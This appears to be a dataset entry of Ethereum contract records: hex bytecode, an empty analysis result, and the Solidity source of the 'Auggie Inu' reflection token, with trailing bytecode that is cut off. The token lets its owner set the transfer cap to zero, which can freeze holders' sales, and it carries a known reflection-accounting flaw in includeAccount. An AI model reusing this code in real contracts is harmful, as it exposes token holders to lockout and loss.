b6000805482908290111561035d57600160a060020a038116600081815260016020526040812054815481101561000257600091825260209091200154600160a060020a03161480156103535750600160a060020a03811615155b1561035d57600191505b50919050565b34610002576103b760043560008054829081101561000257600091825260209091200154600160a060020a0316905081565b34610002576103d36004356102f9565b60408051918252519081900360200190f35b60408051600160a060020a039092168252519081900360200190f35b604080519115158252519081900360200190f35b50979650505050505050565b151561035d576000805460018101808355909190828015829011610438576000838152602090206104389181019083015b808211156104ee5760008155600101610424565b50505091508150826000600050838154811015610002576000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff19166c010000000000000000000000009485029490940493909317909255600160a060020a038581168083526001845260409283902086905582513390921682529281019290925280517f9499e9640a706542b3f3ab1cff7d717bce634010f24cfaba68cbb5f0f787f6469281900390910190a150919050565b50905660a060405260076060527f57464954312e3000000000000000000000000000000000000000000000000000608052600a805460008290527f57464954312e300000000000000000000000000000000000000000000000000e82556100b5907fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a8602060026001841615610100026000190190931692909204601f01919091048101905b8082111561019957600081556001016100a1565b5050604051610a4c380380610a4c8339810160405280805182019190602001805182019190602001805190602001909190805190602001909190805190602001909190805182019190602001805190602001909190805182019190602001505060005b885181101561019d57878181518110156100025790602001906020020151600160005060008b848151811015610002576020908102909101810151600160a060020a03168252810191909152604001600020805490910190558751889082908110156100025760209081029091010151600380549091019055600101610118565b5090565b600487905560008054600160a060020a0319166c0100000000000000000000000087810204178155600587905584516007805492819052917fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688602060026101006001851615026000190190931692909204601f9081018390048201939289019083901061023d57805160ff19168380011785555b5061026d9291506100a1565b82800160010185558215610231579182015b8281111561023157825182600050559160200191906001019061024f565b50506008805460ff19167f010000000000000000000000000000000000000000000000000000000000000085810204179055815160098054600082905290917f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af602060026101006001861615026000190190941693909304601f90810184900482019387019083901061031357805160ff19168380011785555b506103439291506100a1565b82800160010185558215610307579182015b82811115610307578251826000505591602001919060010190610325565b50505050505050505050506106f08061035c6000396000f3606060405236156100b95760e060020a600035046306fdde0381146100be578063095ea7b3146101235780630a3cb6631461019c57806318160ddd146101aa5780631d143848146101b857806323b872dd146101cf578063313ce567146102e857806354fd4d50146102f957806355cc4e571461035e57806370a08231146103845780638da5cb5b146103b757806395d89b41146103ce578063a9059cbb14610433578063dd62ed3e146104a1578063ebdb6063146104da575b610002565b34610002576104e860078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281529291908301828280156105c95780601f1061059e576101008083540402835291602001916105c9565b3461000257610556600435602435600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b34610002576103a560045481565b34610002576103a560035481565b346100025761056a600654600160a060020a031681565b346100025761055660043560243560443560045460009015806101f3575060045443115b156105d4576105d1848484600160a060020a03831660009081526001602052604081205482901080159061024e5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b801561025a5750600082115b156106e057600160a060020a03808416600081815260016020908152604080832080548801905588851680845281842080548990039055600283528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016105d4565b346100025761058660085460ff1681565b34610002576104e8600a8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281529291908301828280156105c95780601f1061059e576101008083540402835291602001916105c9565b346100025761059c60043560005433600160a060020a039081169116146105db57610002565b3461000257600160a060020a03600435166000908152600160205260409020545b60408051918252519081900360200190f35b346100025761056a600054600160a060020a031681565b34610002576104e860098054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281529291908301828280156105c95780601f1061059e576101008083540402835291602001916105c9565b346100025761055660043560243560065460009033600160a060020a03908116911614801561046d5750600554158061046d575060055443105b156106225750600160a060020a03821660009081526001602081905260409091208054830190556003805483019055610196565b34610002576103a5600435602435600160a060020a03808316600090815260026020908152604080832093851683529290522054610196565b34610002576103a560055481565b60405180806020018281038252838181518152602001915080519060200190808383829060006004602084601f0104600302600f01f150905090810190601f1680156105485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b604080519115158252519081900360200190f35b60408051600160a060020a039092168252519081900360200190f35b6040805160ff9092168252519081900360200190f35b005b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b90505b9392505050565b600654600160a060020a031615156100b957600680546c010000000000000000000000008084020473ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6004541580610632575060045443115b15610196576106d98383600160a060020a0333166000908152600160205260408120548290108015906106655750600082115b156106e857600160a060020a03338116600081815260016020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610196565b9050610196565b5060006105d4565b50600061019656 | {"success": true, "error": null, "results": {}} | 141 |
0xfdc0774b1e3a06a677a2f72f3155f254c5af34a8 | // Contribution WelcomeAuggie Inu
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Auggie is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Auggie Inu';
string private _symbol = 'AUGGIE';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 300000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e9961461063b578063d543dbeb14610695578063dd62ed3e146106c3578063f2cc0c181461073b578063f2fde38b1461077f578063f84354f1146107c35761014d565b8063715018a6146104945780637d1db4a51461049e5780638da5cb5b146104bc57806395d89b41146104f0578063a457c2d714610573578063a9059cbb146105d75761014d565b806323b872dd1161011557806323b872dd146102a35780632d83811914610327578063313ce56714610369578063395093511461038a5780634549b039146103ee57806370a082311461043c5761014d565b8063053ab1821461015257806306fdde0314610180578063095ea7b31461020357806313114a9d1461026757806318160ddd14610285575b600080fd5b61017e6004803603602081101561016857600080fd5b8101908080359060200190929190505050610807565b005b610188610997565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a39565b60405180821515815260200191505060405180910390f35b61026f610a57565b6040518082815260200191505060405180910390f35b61028d610a61565b6040518082815260200191505060405180910390f35b61030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a74565b60405180821515815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610b4d565b6040518082815260200191505060405180910390f35b610371610bd1565b604051808260ff16815260200191505060405180910390f35b6103d6600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be8565b60405180821515815260200191505060405180910390f35b6104266004803603604081101561040457600080fd5b8101908080359060200190929190803515159060200190929190505050610c9b565b6040518082815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d59565b6040518082815260200191505060405180910390f35b61049c610e44565b005b6104a6610fca565b6040518082815260200191505060405180910390f35b6104c4610fd0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f8610ff9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053857808201518184015260208101905061051d565b50505050905090810190601f1680156105655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105bf6004803603604081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061109b565b60405180821515815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611168565b60405180821515815260200191505060405180910390f35b61067d6004803603602081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611186565b60405180821515815260200191505060405180910390f35b6106c1600480360360208110156106ab57600080fd5b81019080803590602001909291905050506111dc565b005b610725600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b61077d6004803603602081101561075157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6107c16004803603602081101561079557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b005b610805600480360360208110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188a565b005b6000610811611c14565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613552602c913960400191505060405180910390fd5b60006108c183611c1c565b50505050905061091981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097181600654611c7490919063ffffffff16565b60068190555061098c83600754611cbe90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a2f5780601f10610a0457610100808354040283529160200191610a2f565b820191906000526020600020905b815481529060010190602001808311610a1257829003601f168201915b5050505050905090565b6000610a4d610a46611c14565b8484611d46565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b6000610a81848484611f3d565b610b4284610a8d611c14565b610b3d856040518060600160405280602881526020016134b860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af3611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d9092919063ffffffff16565b611d46565b600190509392505050565b6000600654821115610baa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806133fd602a913960400191505060405180910390fd5b6000610bb461252d565b9050610bc9818461255890919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c91610bf5611c14565b84610c8c8560036000610c06611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b611d46565b6001905092915050565b60006a52b7d2dcc80cd2e4000000831115610d1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610d3d576000610d2e84611c1c565b50505050905080915050610d53565b6000610d4884611c1c565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610df457600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e3f565b610e3c600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4d565b90505b919050565b610e4c611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110915780601f1061106657610100808354040283529160200191611091565b820191906000526020600020905b81548152906001019060200180831161107457829003601f168201915b5050505050905090565b600061115e6110a8611c14565b846111598560405180606001604052806025815260200161357e60259139600360006110d2611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d9092919063ffffffff16565b611d46565b6001905092915050565b600061117c611175611c14565b8484611f3d565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111e4611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112d560646112c7836a52b7d2dcc80cd2e40000006125a290919063ffffffff16565b61255890919063ffffffff16565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61136d611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115c15761157d600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4d565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611687611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806134276026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611892611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611952576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611c10578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611a4557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c0357600560016005805490500381548110611aa157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611ad957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611bc957fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611c10565b8080600101915050611a14565b5050565b600033905090565b6000806000806000806000611c3088612628565b915091506000611c3e61252d565b90506000806000611c508c868661267a565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611cb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061246d565b9050929